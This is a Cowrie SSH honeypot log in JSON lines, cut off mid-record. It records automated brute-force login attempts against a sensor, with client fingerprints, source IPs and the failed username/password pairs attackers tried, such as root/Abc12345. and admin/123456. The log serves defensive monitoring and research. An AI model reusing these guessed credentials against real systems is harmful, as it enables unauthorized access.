{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:56.558150Z","src_ip":"60.165.124.241","session":"7f05932d642d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:56.818663Z","src_ip":"60.165.124.241","session":"7f05932d642d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:57.613747Z","src_ip":"60.165.124.241","session":"7f05932d642d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:58.882667Z","src_ip":"60.165.124.241","session":"7f05932d642d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56176,"dst_ip":"10.17.0.5","dst_port":22,"session":"392304620bc3","protocol":"ssh","message":"New connection: 60.165.124.241:56176 (10.17.0.5:22) [session: 392304620bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:59.121299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:59.125925Z","src_ip":"60.165.124.241","session":"392304620bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:24:59.377214Z","src_ip":"60.165.124.241","session":"392304620bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:00.147730Z","src_ip":"60.165.124.241","session":"392304620bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:01.421556Z","src_ip":"60.165.124.241","session":"392304620bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59114,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f775337ccd","protocol":"ssh","message":"New connection: 60.165.124.241:59114 (10.17.0.5:22) [session: 68f775337ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:01.639613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:01.646779Z","src_ip":"60.165.124.241","session":"68f775337ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:01.896449Z","src_ip":"60.165.124.241","session":"68f775337ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pw1234","message":"login attempt [root/pw1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:02.643053Z","src_ip":"60.165.124.241","session":"68f775337ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:03.893412Z","src_ip":"60.165.124.241","session":"68f775337ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33900,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b3d63356e29","protocol":"ssh","message":"New connection: 60.165.124.241:33900 (10.17.0.5:22) [session: 1b3d63356e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:04.122105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:04.127864Z","src_ip":"60.165.124.241","session":"1b3d63356e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:04.365335Z","src_ip":"60.165.124.241","session":"1b3d63356e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakashka","message":"login attempt [root/kakashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:05.085997Z","src_ip":"60.165.124.241","session":"1b3d63356e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:06.329314Z","src_ip":"60.165.124.241","session":"1b3d63356e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36808,"dst_ip":"10.17.0.5","dst_port":22,"session":"1608adafd310","protocol":"ssh","message":"New connection: 60.165.124.241:36808 (10.17.0.5:22) [session: 1608adafd310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:06.563824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:06.569165Z","src_ip":"60.165.124.241","session":"1608adafd310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:06.806642Z","src_ip":"60.165.124.241","session":"1608adafd310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":12578,"dst_ip":"159.203.135.109","dst_port":22,"session":"df9ae15a47e9","protocol":"ssh","message":"New connection: 84.239.42.8:12578 (159.203.135.109:22) [session: df9ae15a47e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:07.521323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:07.526990Z","src_ip":"84.239.42.8","session":"df9ae15a47e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ww123456","message":"login attempt [root/ww123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:07.532750Z","src_ip":"60.165.124.241","session":"1608adafd310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:07.654686Z","src_ip":"84.239.42.8","session":"df9ae15a47e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:08.153933Z","src_ip":"84.239.42.8","session":"df9ae15a47e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:08.773567Z","src_ip":"60.165.124.241","session":"1608adafd310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39758,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b151d2d5f13","protocol":"ssh","message":"New connection: 60.165.124.241:39758 (10.17.0.5:22) [session: 2b151d2d5f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:09.010389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:09.015439Z","src_ip":"60.165.124.241","session":"2b151d2d5f13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:09.254435Z","src_ip":"60.165.124.241","session":"2b151d2d5f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:09.284030Z","src_ip":"84.239.42.8","session":"df9ae15a47e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superman","message":"login attempt [root/superman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:09.980213Z","src_ip":"60.165.124.241","session":"2b151d2d5f13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:11.222537Z","src_ip":"60.165.124.241","session":"2b151d2d5f13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42748,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba4374d006e4","protocol":"ssh","message":"New connection: 60.165.124.241:42748 (10.17.0.5:22) [session: ba4374d006e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:11.454132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:11.459342Z","src_ip":"60.165.124.241","session":"ba4374d006e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:11.696311Z","src_ip":"60.165.124.241","session":"ba4374d006e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert12345","message":"login attempt [root/qwert12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:12.414787Z","src_ip":"60.165.124.241","session":"ba4374d006e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:13.655190Z","src_ip":"60.165.124.241","session":"ba4374d006e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45568,"dst_ip":"10.17.0.5","dst_port":22,"session":"34c8b2267159","protocol":"ssh","message":"New connection: 60.165.124.241:45568 (10.17.0.5:22) [session: 34c8b2267159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:13.889938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:25:13.894669Z","src_ip":"60.165.124.241","session":"34c8b2267159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@opens